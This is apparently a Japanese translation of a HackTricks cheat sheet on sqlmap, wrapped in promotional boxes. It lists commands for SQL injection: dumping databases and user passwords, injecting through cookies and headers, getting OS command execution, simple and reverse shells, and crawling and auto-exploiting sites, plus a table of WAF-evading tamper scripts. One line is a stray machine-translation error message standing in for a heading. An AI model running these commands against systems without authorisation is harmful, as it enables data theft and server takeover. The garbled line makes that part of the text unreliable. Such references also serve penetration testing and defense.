hacktricks/pentesting-web/sql-injection/sqlmap.md

192 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
</details>
# SQLmapの基本的な引数
## 一般的
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## 情報の取得
### 内部
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
### DBデータ
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# インジェクションの場所
## Burp/ZAPキャプチャから
リクエストをキャプチャして、req.txtファイルを作成します
```bash
sqlmap -r req.txt --current-user
```
## GETリクエストインジェクション
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## POSTリクエストインジェクション
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## ヘッダーおよびその他のHTTPメソッドにおけるインジェクション
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## セカンドオーダーインジェクション
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## シェル
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## SQLmapを使用してウェブサイトをクロールし、自動でエクスプロイト
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# インジェクションのカスタマイズ
## サフィックスの設定
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
Since the content you're referring to is not provided, I'm unable to translate it. Please provide the text you want to be translated into Japanese.
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## ブール型インジェクションの見つけ方
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## タンパー
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | 説明 |
| :--- | :--- |
| apostrophemask.py | アポストロフィ文字をそのUTF-8全角対応に置き換えます |
| apostrophenullencode.py | アポストロフィ文字を不正なダブルユニコード対応に置き換えます |
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します |
| base64encode.py | 与えられたペイロードの全文字をBase64エンコードします |
| between.py | 大なり演算子('&gt;')を'NOT BETWEEN 0 AND #'に置き換えます |
| bluecoat.py | SQLステートメントの後のスペース文字を有効なランダムな空白文字に置き換え、その後'='文字をLIKE演算子に置き換えます |
| chardoubleencode.py | 与えられたペイロードの全文字をダブルURLエンコードします既にエンコードされているものは処理しません |
| commalesslimit.py | 'LIMIT M, N'のようなインスタンスを'LIMIT N OFFSET M'に置き換えます |
| commalessmid.py | 'MID(A, B, C)'のようなインスタンスを'MID(A FROM B FOR C)'に置き換えます |
| concat2concatws.py | 'CONCAT(A, B)'のようなインスタンスを'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'に置き換えます |
| charencode.py | 与えられたペイロードの全文字をURLエンコードします既にエンコードされているものは処理しません |
| charunicodeencode.py | 与えられたペイロードのエンコードされていない文字をUnicode-URLエンコードします既にエンコードされているものは処理しません。"%u0022" |
| charunicodeescape.py | 与えられたペイロードのエンコードされていない文字をUnicode-URLエンコードします既にエンコードされているものは処理しません。"\u0022" |
| equaltolike.py | 等号('=')の全ての出現を'LIKE'演算子に置き換えます |
| escapequotes.py | クォート(' と ")をスラッシュエスケープします |
| greatest.py | 大なり演算子('&gt;')を'GREATEST'に置き換えます |
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きのMySQLコメントを追加します |
| ifnull2ifisnull.py | 'IFNULL(A, B)'のようなインスタンスを'IF(ISNULL(A), B, A)'に置き換えます |
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます |
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョンのコメントで囲みます |
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します |
| nonrecursivereplacement.py | 事前定義されたSQLキーワードを置換に適した表現に置き換えます.replace("SELECT", "")フィルター) |
| percentage.py | 各文字の前にパーセンテージ記号('%')を追加します |
| overlongutf8.py | 与えられたペイロードの全文字を変換します(既にエンコードされているものは処理しません) |
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます |
| randomcomments.py | SQLキーワードにランダムなコメントを追加します |
| securesphere.py | 特別に作られた文字列を追加します |
| sp_password.py | ペイロードの末尾に'sp_password'を追加して、DBMSログから自動的に難読化します |
| space2comment.py | スペース文字(' ')をコメントに置き換えます |
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
| space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
| space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します |
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字セットからランダムな空白文字に置き換えます |
| space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後に改行('\n')を追加します |
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字セットからランダムな空白文字に置き換えます |
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後に改行('\n')を追加します |
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます |
| space2randomblank.py | スペース文字(' ')を有効な代替文字セットからランダムな空白文字に置き換えます |
| symboliclogical.py | ANDとORの論理演算子をそれぞれの記号対応(&& と \|)に置き換えます |
| unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます |
| unmagicquotes.py | クォート文字(')をマルチバイトの組み合わせ%bf%27に置き換え、最後に一般的なコメントを追加します動作させるため |
| uppercase.py | 各キーワード文字を大文字の値'INSERT'に置き換えます |
| varnish.py | HTTPヘッダー'X-originating-IP'を追加します |
| versionedkeywords.py | 関数でない各キーワードをバージョン付きのMySQLコメントで囲みます |
| versionedmorekeywords.py | 各キーワードをバージョン付きのMySQLコメントで囲みます |
| xforwardedfor.py | 偽のHTTPヘッダー'X-Forwarded-For'を追加します |
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
</details>